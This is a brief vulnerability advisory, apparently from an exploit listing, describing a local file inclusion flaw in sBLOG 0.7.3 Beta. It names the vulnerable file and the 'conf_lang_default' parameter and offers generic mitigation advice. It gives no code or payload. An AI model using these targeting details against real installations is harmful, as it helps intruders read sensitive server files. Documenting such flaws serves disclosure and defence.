sBLOG 0.7.3 Beta(inc/lang.php)Local File Inclusion Exploit

This exploit takes advantage of a local file inclusion vulnerability in sBLOG 0.7.3 Beta. By manipulating the 'conf_lang_default' parameter, an attacker can include arbitrary files from the 'lang' directory. The vulnerability allows an attacker to read sensitive files on the server, such as log files.

Mitigation:

The vendor has not released a patch for this vulnerability. To mitigate the risk, it is recommended to restrict access to sensitive files and directories on the server.
